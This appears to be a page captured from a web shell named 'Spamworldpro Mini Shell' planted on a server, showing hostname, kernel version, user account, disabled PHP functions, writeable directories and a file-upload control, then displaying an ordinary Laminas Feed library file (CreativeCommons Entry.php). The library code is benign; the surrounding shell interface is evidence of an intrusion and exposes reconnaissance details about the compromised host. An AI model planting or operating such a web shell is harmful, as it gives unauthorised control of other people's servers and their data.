Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/laminas/laminas-feed/src/Reader/Extension/CreativeCommons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/laminas/laminas-feed/src/Reader/Extension/CreativeCommons/Entry.php
<?php

declare(strict_types=1);

namespace Laminas\Feed\Reader\Extension\CreativeCommons;

use DOMNodeList;
use Laminas\Feed\Reader\Exception\RuntimeException;
use Laminas\Feed\Reader\Extension;

use function array_key_exists;
use function array_unique;
use function get_class;
use function gettype;
use function is_object;
use function is_string;
use function sprintf;

class Entry extends Extension\AbstractEntry
{
    /**
     * Get the entry license
     *
     * @param  int $index
     * @return null|string
     */
    public function getLicense($index = 0)
    {
        $licenses = $this->getLicenses();

        if (! isset($licenses[$index])) {
            return null;
        }

        if (! is_string($licenses[$index])) {
            throw new RuntimeException(sprintf(
                'Unable to retrieve license; expected string, received "%s"',
                is_object($licenses[$index]) ? get_class($licenses[$index]) : gettype($licenses[$index])
            ));
        }

        return $licenses[$index];
    }

    /**
     * Get the entry licenses
     *
     * @return array
     */
    public function getLicenses()
    {
        $name = 'licenses';
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        $licenses = [];
        $list     = $this->xpath->evaluate($this->getXpathPrefix() . '//cc:license');

        if ($list instanceof DOMNodeList && $list->length) {
            foreach ($list as $license) {
                $licenses[] = $license->nodeValue;
            }

            $licenses = array_unique($licenses);
        } else {
            $cc       = new Feed();
            $licenses = $cc->getLicenses();
        }

        $this->data[$name] = $licenses;

        return $this->data[$name];
    }

    /**
     * Register Creative Commons namespaces
     */
    protected function registerNamespaces()
    {
        $this->xpath->registerNamespace('cc', 'http://backend.userland.com/creativeCommonsRssModule');
    }
}

Spamworldpro Mini